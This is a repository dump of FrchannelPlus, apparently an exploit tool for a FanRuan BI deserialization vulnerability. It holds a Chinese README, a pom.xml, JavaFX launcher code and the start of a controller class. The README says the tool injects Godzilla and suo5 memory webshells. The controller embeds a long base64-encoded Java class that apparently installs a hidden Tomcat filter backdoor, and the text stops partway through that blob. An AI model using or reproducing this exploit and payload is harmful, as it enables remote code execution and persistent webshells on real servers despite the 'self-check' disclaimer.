├── README.md ├── lib ├── fine-core-10.0.jar ├── fine-third-10.0.jar └── readme.txt ├── pom.xml └── src └── main ├── java └── com │ └── example │ └── frchannel │ ├── MainApplication.java │ ├── MainController.java │ ├── attack.java │ └── payload │ ├── CommonsBeanutils183.java │ ├── Hibernate.java │ ├── JacksonSignedObject.java │ ├── URLDNS.java │ └── utils.java └── resources ├── META-INF └── MANIFEST.MF └── com └── example └── frchannel └── main.fxml /README.md: -------------------------------------------------------------------------------- 1 | # FrchannelPlus 2 | 3 | 原工具地址:https://github.com/yecp181/Frchannel 4 | 5 | 帆软bi反序列化漏洞利用工具,将原版的冰蝎内存马换成了哥斯拉,增加了suo5内存马 6 | 7 | 8 | ![企业微信截图_17111917066946](https://github.com/BambiZombie/FrchannelPlus/assets/84751437/396fc254-fbef-4bdb-9d57-6229d8c4d323) 9 | 10 | 11 | 免责声明 12 | 该工具仅用于安全自查检测 13 | 14 | 由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。 15 | 16 | 本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。 17 | 18 | 该工具只授权于企业内部进行问题排查,请勿用于非法用途,请遵守网络安全法,否则后果作者概不负责 19 | -------------------------------------------------------------------------------- /lib/fine-core-10.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BambiZombie/FrchannelPlus/fdc121d4bb3ff6f22b7c3db9b3d0f741682430a7/lib/fine-core-10.0.jar -------------------------------------------------------------------------------- /lib/fine-third-10.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BambiZombie/FrchannelPlus/fdc121d4bb3ff6f22b7c3db9b3d0f741682430a7/lib/fine-third-10.0.jar -------------------------------------------------------------------------------- /lib/readme.txt: -------------------------------------------------------------------------------- 1 | 帆软依赖包 2 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.example 8 | FrChannel 9 | 1.0-SNAPSHOT 10 | FrChannel 11 | 12 | 13 | 14 | 15 | UTF-8 16 | 5.8.1 17 | 18 | 19 | 20 | 21 | org.openjfx 22 | javafx-controls 23 | 13.0.2 24 | 25 | 26 | 27 | javax.servlet 28 | javax.servlet-api 29 | 3.1.0 30 | 31 | 32 | 33 | org.javassist 34 | javassist 35 | 3.18.2-GA 36 | 37 | 38 | 39 | org.apache.httpcomponents 40 | httpclient 41 | 4.5.13 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | org.openjfx 52 | javafx-fxml 53 | 13.0.2 54 | 55 | 56 | 57 | commons-beanutils 58 | commons-beanutils 59 | 1.8.3 60 | 61 | 62 | 63 | 64 | org.junit.jupiter 65 | junit-jupiter-api 66 | ${junit.version} 67 | test 68 | 69 | 70 | org.junit.jupiter 71 | junit-jupiter-engine 72 | ${junit.version} 73 | test 74 | 75 | 76 | 77 | 78 | 79 | 80 | org.apache.maven.plugins 81 | maven-compiler-plugin 82 | 3.8.1 83 | 84 | 13 85 | 13 86 | 87 | 88 | 89 | org.openjfx 90 | javafx-maven-plugin 91 | 0.0.8 92 | 93 | 94 | 95 | default-cli 96 | 97 | com.example.frchannel/com.example.frchannel.HelloApplication 98 | app 99 | app 100 | app 101 | true 102 | true 103 | true 104 | 105 | 106 | 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /src/main/java/com/example/frchannel/MainApplication.java: -------------------------------------------------------------------------------- 1 | package com.example.frchannel; 2 | 3 | import javafx.application.Application; 4 | import javafx.fxml.FXMLLoader; 5 | import javafx.scene.Parent; 6 | import javafx.scene.Scene; 7 | import javafx.stage.Stage; 8 | 9 | import java.io.IOException; 10 | 11 | public class MainApplication extends Application { 12 | @Override 13 | public void start(Stage stage) throws IOException { 14 | FXMLLoader fxmlLoader = new FXMLLoader(MainApplication.class.getResource("main.fxml")); 15 | Parent page = fxmlLoader.load(MainApplication.class.getResource("main.fxml")); 16 | Scene scene = new Scene(page); 17 | stage.setTitle("FrChannel Plus by BambiZombie"); 18 | stage.setScene(scene); 19 | stage.show(); 20 | } 21 | 22 | public static void main(String[] args) { 23 | launch(); 24 | } 25 | } -------------------------------------------------------------------------------- /src/main/java/com/example/frchannel/MainController.java: -------------------------------------------------------------------------------- 1 | package com.example.frchannel; 2 | 3 | import com.example.frchannel.payload.CommonsBeanutils183; 4 | import com.example.frchannel.payload.Hibernate; 5 | import com.example.frchannel.payload.JacksonSignedObject; 6 | import com.example.frchannel.payload.URLDNS; 7 | import javafx.collections.FXCollections; 8 | import javafx.collections.ObservableList; 9 | import javafx.event.ActionEvent; 10 | import javafx.fxml.FXML; 11 | import javafx.fxml.Initializable; 12 | import javafx.geometry.Insets; 13 | import javafx.geometry.Pos; 14 | import javafx.scene.control.*; 15 | import javafx.scene.layout.GridPane; 16 | import javafx.scene.layout.HBox; 17 | import javafx.stage.Window; 18 | import javafx.util.Pair; 19 | import org.apache.http.HttpHost; 20 | 21 | import java.net.URL; 22 | import java.util.Base64; 23 | import java.util.ResourceBundle; 24 | 25 | public class MainController implements Initializable { 26 | 27 | private final String mem = "yv66vgAAADEBtAEAFG9yZy9qdW5pdC9kL0tleVV0aWxzBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEADWdldFVybFBhdHRlcm4BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAAIvKggACAEADGdldENsYXNzTmFtZQEAJGNvbS5nb29nbGUuZ3NvLkNvbnRleHRMb2FkZXJIaEZpbHRlcggACwEAD2dldEJhc2U2NFN0cmluZwEACkV4Y2VwdGlvbnMBABNqYXZhL2lvL0lPRXhjZXB0aW9uBwAPAQAQamF2YS9sYW5nL1N0cmluZwcAEQEQYEg0c0lBQUFBQUFBQUFKMVlDM3hiVlJuL255VE5UZFBzMWJCSDFyMFllNlJOMjNSUHRtNkRQalpZWGRPTmRXeDJCZVEydlUyenBVbVczSFFydmhVRjhZbmlBOFdwVTV3UHhMRkJ1aktCK1FJRkVSRVVSTVQzKzRHb3FDaGEvK2ZlbXpSTjJtNC9mMjN2T2ZlYzcvSC92dk45My9sdUgvN3Z2ZmNEV0NXMkNpd0xKd2FDa1VRaUV0T0NrWFFpMkpxSTY5b1J2VDJoOW1xcDdmMlhSV082bGxJZ0JHWWZVQWZWWUV5TlI0S3RNVFdkTmtrVTJBVXVrRnRIZ21rdE5SalQ5R0NPcVV6QXVUa2FqK3FYQ05qOTFYc0ZISzJKWGsxZ1JuczByblZrQm5xMDFCNjFKOGFWeXZaRVdJM3RWVk5SK1c0dE92VCthRnBnUmZ2NVlOemtnUUtYR3c1TUY1anZiNThRN1NZSlFsd25NSGVTZlNsa3BoVGlKYzBZU2FlZWlzWWpMWmxvekRCNXRodHpwQnBIa3B3U2ZERWw1Y3lEcnh3MnpLY1AxR1JTaS9jSzFQbExDYXRMbGl3dEZMRUFDNldpUmZUZVFXM0lneVdteUFzRlhIckNKS2J2L2FVaXlIc1Jsa25lNWVRZDZGMUhKNTZYYmpLdWhOOU5KZFZ5WnFnTDBHTlg4UGo5M1MzVnhWN2JKR0FMOS9EUjNTSlEwYXYxOFZ5TkRYcVA5RzF0cFJ3ZXJNSnE2ZUUxbEh0RVFDSGQvbXJKN3gwajNYWWtyQ1gxYUNLdTRHS1NoYW0rM1l5eGNHb29xVE1Fb3NsKytvaEhNS2ltMXVhMmk1aTVMWWhFRFBCdnY0SUdTMFdSRUFYTkF0TTZkVFY4TUtRbXJkQ3pOMi9yZElINVVSSFI5TFo0V2xmallTNVhUK3JGWW1RZVhJYkwzV2pCZG9IRjR3alNTUzBjN05UQ0tVM2ZvUTExOGszQkt3Um1GZ3RXME02RHB2cVdJVjJqR1E0L3ZlUkJCM2E2RWNJdTA4TVR3TmtyWTNpM0d6dlFTU2FaZnBLMHphUk1hK0ZNS3FvUEJhbmFJTDBTZXlYS2ZUeUkzc1JsMGJnYVk4REtvNWE2dXJCZmJuWUxMQ3hpRDJucHRCclJ0a1lqV2xxbm4rMjBocy9RMW5VdXZFcWdhZ3BxQmFyQXFzbkRjUklkMHFGaE4zckFSSExHdEhoRTd6ZXFTcHNIZlloSWwvRGRtVW4ycXJwbVJoV2pqd1lld0VISkZiT3FWSEJBMWZ1RExkRklHMnRJUko1K25HeTloZzRQa3RLNVBUZ2tmZEJHSnhpK1RMdVJnQzR6b0cyU1ZCdVVGSWNaTEhyaVN1WjZxbFZOYXg0TXlSUU1nZFhHMDhPRjlXdTN4Y05HK1p0VGxFcVdKS0kyS1ZMalM4ck9uZ05hV0RyWmFZb1JtRFZCSHNwRVdNOU03R0dvbEEycXNZeG14VlI5Um8vRzZsc01WaGZld3VwYnhLemdCcXJ1UzZRNjFBRXlMVDlIcGNpbDhkdHdreHMzNHUwQ2JnYXBoZHlGZHhKOGR3bTVnbmNMbEpNdXBPbjlDUjVoMHdSYVN0a0s5YWEwdmhqOUVEUWxFTUROZUs4RThENm1kWGVwdXhTOFgyRGVaT3dLUGtoL1J1T0RpWU0wZWFPL2xIOENrZFdsU3g3Y2lnKzc4U0Y4WkZ3R203c0tQbXBtc0ZVU3ZmNkovUGd4Zk55Tm8vaUV3SFROY09JZXE3YTc4RW5HU2pvVHJ4K0lwc1AxTGMyZDIzSXhSRC9mem5DTGE0ZkhhdFA0aXlDUDd6ZytJNzMwV1pwcmluZmg4enl5ZkpFa0xwZk1mSG1IQ25UNzI4ZmY1WjNtdUZzN2xKRlpPTmx1T2tsSld2RzJLYlcxWDQzR2padDN5UmcrRTdjZVZTV0dnbkovWWp4VkxLWkYxRmh6T014YVVFQjFraFc5ajM4MHUvRG9kcHRuSEIzVWRqSUx4NHVXK2FPbVVqc3p6T1RGSms4MEVaUzF0VG1WVW9lNG5zem9kTHltRHNoTVRGTWh1WWlteUtaK1hVOEd0L1BSYVZMSTFHUE5ZVTJibmg3bks0RkZVL3VTbVpnZTc3OGNzc2tkek53T1MzZXl4RTdoYStKUDVVQ3NuQngvRVJwWEtnK2pPQXBLbWZKNEZreGxvNElIZVhkTWFaS0Nid2o0SnJWRndjTXNTZWRsZ29KdnNjODVQK0FLdnMzem1mcGtGWHpIQWo5cHBDajRycVh5M0FHbzRFbm1YYjhtKzB4WmFUMzR2dGxnUFdWV3h1M0dqZ2MvZ0w4Q2orSVo1cmRKdkZjV2N3K2VOYWwveElNS3N3R21iNWk2VmVNYTNYNDExU2w5d1hxd3FYcS9Cei9HVCtRTjlGT3pSSGZtUW5xcHYvcGNRZTNCei9FTENlT1h2TDNJdTB0TkViSXU4ZjNheFBlYi9MVzJWY3RkYXhOY0hMS04rQjErTDF2S1AzaXdEdXZsN0U4TTBLUTZGR1BQN2NLZlRRM05Pamw2TXZMeVBsZXZtcTl0ZjhGZksvQTQvc2JjeTFWWnM0OW5SSlhXMm55TC8zZjhRNWJFZjBvb1hnL3FVQzluL3lhTzlEZ2NLeWZBTWNHdHdDYmhQL2l2QkRKS1J5ZHpua3E3aEpDT0duWGpDZU9icENCTU1xeDhBOXBZYUFoK0tzMHIxTGFuUDVVNExGdFJzNThUaWxzNGhVdlc4RU1aTlphV3pjZ0VTUFo3aEZ0VThEWVJIak9tOXJHUmt0NlltL01HQTNrWDdiQTJObm5FZERHakFvK0ptYVJQWjNyUzFrZkZISC9iaEwyT3FCUmVScFM0SU5ldGo1ZW5pRGtzVUlmbHZBamhXSE1xNWdtZlc4d1Y4K1dsdDl6b21mS3A1UkVMWlFQMmhGamt3V3Z3V3A2S1dFS2RzcjhLaWFYNXB1SC92WjJrSys4VXl5cndpRmhla3YwV2NjR1pyQ3d3c20xbndVYTFyTUl4OWJyclpOT3NXUjJiN0wvNG5XV25DMHR2YlRORlVpNFJaSkNaTEMyWnZqNjVzc3BNemp6Rkd0bU9HaTh1UVhtTGkwMjJhbU1pM2hlTkdKZXFwNjlnaGZWNEtub0RNQkVtaGxoRk5vZGp1WS96WkRMbUVwdlp3cXhiczNIOStnMnJORTFkMTZEMnJsL2pFdHhXV05hMGxBVFhSRHUzUmpJSFhLSUZGekpuSENCYWxLRmNmaXdDY01uUFhtTmNZb3hDMWpoamZOWVlLempqVnpxZjVYeHJwZ1RCMFZzempCazFYdEY4RDU3bTBIb1BucnVMeXphNCtaU3BDWXFycE1JS3pqd21DOGRwaG1CK3IxdmlZcVNVdEEwMWdXRmNNRjdlR2N6cEdzYmNrNmpLWXZGSkxPVXppeFduVVhNS3RXTzZwc1BPNXpKS1g0NGdWaGo2NXBneUxYMXlOb3RZMkh2SXVtRnAza0pIU0tyeW1vQTljUDh3MXA3SWkzUWFjS3NMUkpYblJaVlRTWU1oaW5YUkV2VVVPUndjQTVYYlRxT3RvMjdCclZBY3grRW9PNE1kWFFid0t5cTNEV05QRnErc0MyUngxWWtPY2NKUXdlOTJiQ0IrdDZHb2pNOGdSVFZnS2IrMy9WaE5DR3NNRUd1NTUrVHFSalNTdXBxUU5tR3pZWGNnRHl4QWl4b01xUUZjZ2t0SjA4bzVxVVl4QXc0Rk5nVk5RdUdYb1h5TWNxdHdqWk1XTVlxNXNGdUxrbXFERVNKK3kwamFZMmhzRU8yVjE1NkdGcXF0b1YxMlBxSlpESnhCb3N0Um0wVnFHSm1aTTdNNGtzV3IyOGtTQ2toTGJhaWg1M09XTHVMNWcyODJXdU9pSmJPSnNvYVk2MmhCUFpGWEdMRmo1OTVTcmw1dG5lVVdJeGh0cExpR00yRlk1NFZ0bEd4RUhPS3ZpWmxnV1laSVNOQ2l6WWgwNEFoQnYvVTAzaEdxclh5WE9JdjNaSEZMTGNjUFpIRmJSMTBXeHlvLzViZ1BOM2JaSzVzNnVWWEhsNk5kOWhyT2J6dUxFTzNZMkZINWFZTTlpODgxT253T3lYSkhJWXZQVWNKVDF1aWc4VEs4dDZDSndKcHhDSHJlQ2F0NWNLQVJObjRpdTNBNXFyQ2RkTHRJMlViS0hWeHBwMFVoOHV3a1Z3Y0djWVhobU8xMFhoVWQ4enE4M25EUkJyd0JiNlNVRUZOQXJqbklXV2V0TlRORzMyUUZ5aEc4bVU2VURoekU5WGtIVnN2d2FES09QT2ZBVWNhY3czcVgvcFJyTDVIOEN6SmtPSElGZCtLTHBvTnRkOUM5aENVV0JNN2kwVVpIN1ZrODFsam1jOVRjamFkSDhFTWJIc1R6QlcrY1BKZkZ6MjdGTXo3SENINGwwT2lzOFRtWTRDUDRyUTFaL0xGUnFmRXA5aXllYjFSOHpzb1hSdkNpRFE5aHFaeWZnYTJMd1hZc2k1ZUc4Uytma3NYTEk2eUNqTXViZkE2dnNQbVVFV0czNHd5ZTZCb1dqa1pYbnY4c2JwU25WbjRjTXhyZFo0U3p5K2NlRnVVUCtNcDlycXlZdG8rand4akxSc1FzZ1pPb3RUT0F4ZXlzcVBLVlo4V0MzRWFOSkYvTWszLyt0TGhRYnVicEpmbEZYRG1PaXJwQTdZaFlJVUZOYTNUbVh1NGl5cHR4RExkelpvNm5JQy94V2ZsZ09JRDVmTzVsc082RC9BOU9FUHU1MTgzRHZvckhmalYvcm1GUVg4ditSNldFWHNxSVVJcEdOWDJVMlk4UkhNU1hXVXVmeEFDZVFSd3ZJQ0hzU0FrbjBtSTZEbE5UUm5neEtLb3daQVRSOWF3Wng2ajdiZ1pNT2FXNGNRKzk3NmJzRklaeG1tRjFGM1pidXh2d0NPWGZTMnpiNmR3ekRDS0ZzbHprMk13MW5ueXVBbkgySmR3bkt4Qm45K01CbWJlY25TVXlPNXhpRHI2Q3J6S0NQR0ltdm9hdk0yNWFqZnJ2R3FWcExxUHNQS1RnbXdvZVVmQ29nc2NVUE00b0JFWlpnY29uMjFiWXBqRkF2L2N5S2hRY0hhV3puS1drREZPbGhWRmNic1N3a3cyS1g5UVFKMXRjTTRyeG9sVW1EbmxGZzVIbVhySGF5dTZRekc2WjltWitCOHo4YnVMdmlaQlJVanJxdkdLdC9UNFpaTGNJamtkSllKVUlyMWhmS0NWWEl3cGxHQVc3dHFBNHpwZE9aZjFTbU0xMVBJQjY1dkphWm5NYk0xa2UzU1hjVjdCQ0JJd01YNHN0eHN6T2ZiK29OZksvSHEyaWpvY2p5K2FoL1BWd1NOVG5zNTczMjRCTTdjS1V2bEpjYkRsam5WRWxlSFpqZDZ4NUlkNVFjQ0dLdkdBaE5vaU5ZL1ZCOEw0UWpmbDJJV0RRVGlEc3BvTEdJQ2ZNSlRibEdiY1phbGlodkdMTEtWUjV4YVduc1BSY0hZSElkeDhlTEdUY0xBTCtCN0JzRW9jNEdRQUEIABMBAAY8aW5pdD4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYMABUAFgoAEgAXAQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAGgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABmZpbHRlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAB2NvbnRleHQBAAhjb250ZXh0cwEAEExqYXZhL3V0aWwvTGlzdDsBAAR0aGlzAQAWTG9yZy9qdW5pdC9kL0tleVV0aWxzOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBACRMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAA5qYXZhL3V0aWwvTGlzdAcAJwEAEmphdmEvdXRpbC9JdGVyYXRvcgcAKQEADVN0YWNrTWFwVGFibGUMABUAGQoABAAsAQAKZ2V0Q29udGV4dAEAEigpTGphdmEvdXRpbC9MaXN0OwwALgAvCgACADABAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsMADIAMwsAKAA0AQAHaGFzTmV4dAEAAygpWgwANgA3CwAqADgBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsMADoAOwsAKgA8AQAJZ2V0RmlsdGVyAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAD4APwoAAgBAAQAJYWRkRmlsdGVyAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWDABCAEMKAAIARAEABGtleTEBAAhjaGlsZHJlbgEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAANrZXkBAAtjaGlsZHJlbk1hcAEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAUAEAEGphdmEvbGFuZy9PYmplY3QHAFIBABBqYXZhL2xhbmcvVGhyZWFkBwBUAQARamF2YS91dGlsL0hhc2hNYXAHAFYBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwBYCgBZACwBAApnZXRUaHJlYWRzCABbAQAMaW52b2tlTWV0aG9kAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsMAF0AXgoAAgBfAQAHZ2V0TmFtZQwAYQAGCgBVAGIBABxDb250YWluZXJCYWNrZ3JvdW5kUHJvY2Vzc29yCABkAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAGYAZwoAEgBoAQAGdGFyZ2V0CABqAQAFZ2V0RlYMAGwAXgoAAgBtAQAGdGhpcyQwCABvCABHAQAGa2V5U2V0AQARKClMamF2YS91dGlsL1NldDsMAHIAcwoAVwB0AQANamF2YS91dGlsL1NldAcAdgsAdwA0AQADZ2V0DAB5AD8KAFcAegEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAfAB9CgBTAH4BAA9qYXZhL2xhbmcvQ2xhc3MHAIAKAIEAYgEAD1N0YW5kYXJkQ29udGV4dAgAgwEAA2FkZAEAFShMamF2YS9sYW5nL09iamVjdDspWgwAhQCGCwAoAIcBABVUb21jYXRFbWJlZGRlZENvbnRleHQIAIkBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7DACLAIwKAFUAjQEACHRvU3RyaW5nDACPAAYKAIEAkAEAGVBhcmFsbGVsV2ViYXBwQ2xhc3NMb2FkZXIIAJIBAB9Ub21jYXRFbWJlZGRlZFdlYmFwcENsYXNzTG9hZGVyCACUAQAJcmVzb3VyY2VzCACWCAAgAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24HAJkBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYMABUAmwoAmgCcAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24HAJ4BAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uBwCgAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgcAogEACVNpZ25hdHVyZQEAJigpTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQATamF2YS9sYW5nL1Rocm93YWJsZQcApgEACWNsYXp6Qnl0ZQEAAltCAQALZGVmaW5lQ2xhc3MBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwCwAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7DACyALMKAFUAtAEADmdldENsYXNzTG9hZGVyDAC2AIwKAIEAtwwACgAGCgACALkBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DAC7ALwKALEAvQwADQAGCgACAL8BAAxkZWNvZGVCYXNlNjQBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDADBAMIKAAIAwwEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCDADFAMYKAAIAxwgAqgcAqQEAEWphdmEvbGFuZy9JbnRlZ2VyBwDLAQAEVFlQRQwAzQCtCQDMAM4BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMANAA0QoAgQDSAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwDUAQANc2V0QWNjZXNzaWJsZQEABChaKVYMANYA1woA1QDYAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsMANoA2woAzADcAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DADeAN8KANUA4AEAC25ld0luc3RhbmNlDADiADsKAIEA4wEADWdldEZpbHRlck5hbWUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADGxhc3REb3RJbmRleAEAAUkBAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAEuCADrAQALbGFzdEluZGV4T2YBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkMAO0A7goAEgDvAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7DADxAPIKABIA8wEACWZpbHRlckRlZgEACWZpbHRlck1hcAEAAmUyAQAMY29uc3RydWN0b3JzAQAgW0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAAxmaWx0ZXJDb25maWcBAA1maWx0ZXJDb25maWdzAQAPTGphdmEvdXRpbC9NYXA7AQAOY2F0YWxpbmFMb2FkZXIBAA9maWx0ZXJDbGFzc05hbWUBAApmaWx0ZXJOYW1lAQAjW0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjwqPjsHAPkBABFnZXRDYXRhbGluYUxvYWRlcgwBAgCMCgACAQMMAOUA5goAAgEFAQANZmluZEZpbHRlckRlZggBBwEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAXQEJCgACAQoBAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlckRlZggBDAEAB2Zvck5hbWUMAQ4AvAoAgQEPAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXAIAREBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJEZWYIARMBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXAIARUBAD0oTGphdmEvbGFuZy9TdHJpbmc7WkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7DAEOARcKAIEBGAEADXNldEZpbHRlck5hbWUIARoBAA5zZXRGaWx0ZXJDbGFzcwgBHAEADGFkZEZpbHRlckRlZggBHgEADXNldERpc3BhdGNoZXIIASABAAdSRVFVRVNUCAEiAQANYWRkVVJMUGF0dGVybggBJAwABQAGCgACASYBADBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDb25maWcIASgBABdnZXREZWNsYXJlZENvbnN0cnVjdG9ycwEAIigpW0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsMASoBKwoAgQEsAQANc2V0VVJMUGF0dGVybggBLgEAEmFkZEZpbHRlck1hcEJlZm9yZQgBMAEADGFkZEZpbHRlck1hcAgBMgEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yBwE0CgE1ANgBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAOIBNwoBNQE4CAD7AQANamF2YS91dGlsL01hcAcBOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAE9AT4LATwBPwEAD3ByaW50U3RhY2tUcmFjZQwBQQAZCgAbAUIBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBRAEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uBwFGAQABaQEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAJYmFzZTY0U3RyAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCAFOAQAMZGVjb2RlQnVmZmVyCAFQAQAJZ2V0TWV0aG9kDAFSANEKAIEBUwEAEGphdmEudXRpbC5CYXNlNjQIAVUBAApnZXREZWNvZGVyCAFXAQAGZGVjb2RlCAFZAQAOY29tcHJlc3NlZERhdGEBAANvdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQACaW4BAB5MamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbTsBAAZ1bmd6aXABAB9MamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW07AQAGYnVmZmVyAQABbgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtBwFkAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQcBZgEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtBwFoCgFlACwBAAUoW0IpVgwAFQFrCgFnAWwBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMABUBbgoBaQFvAQAEcmVhZAEABShbQilJDAFxAXIKAWkBcwEABXdyaXRlAQAHKFtCSUkpVgwBdQF2CgFlAXcBAAt0b0J5dGVBcnJheQEABCgpW0IMAXkBegoBZQF7AQADb2JqAQAJZmllbGROYW1lAQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAEZ2V0RgEAPyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwBgQGCCgACAYMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcBhQoBhgDYCgGGAHoBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAYkBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAYwBjQoAgQGOAQANZ2V0U3VwZXJjbGFzcwwBkAB9CgCBAZEKAYoAFwEADHRhcmdldE9iamVjdAEACm1ldGhvZE5hbWUBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEACnBhcmFtQ2xhenoBABJbTGphdmEvbGFuZy9DbGFzczsBAAVwYXJhbQEAE1tMamF2YS9sYW5nL09iamVjdDsBAAZtZXRob2QBAAl0ZW1wQ2xhc3MHAZcBABJnZXREZWNsYXJlZE1ldGhvZH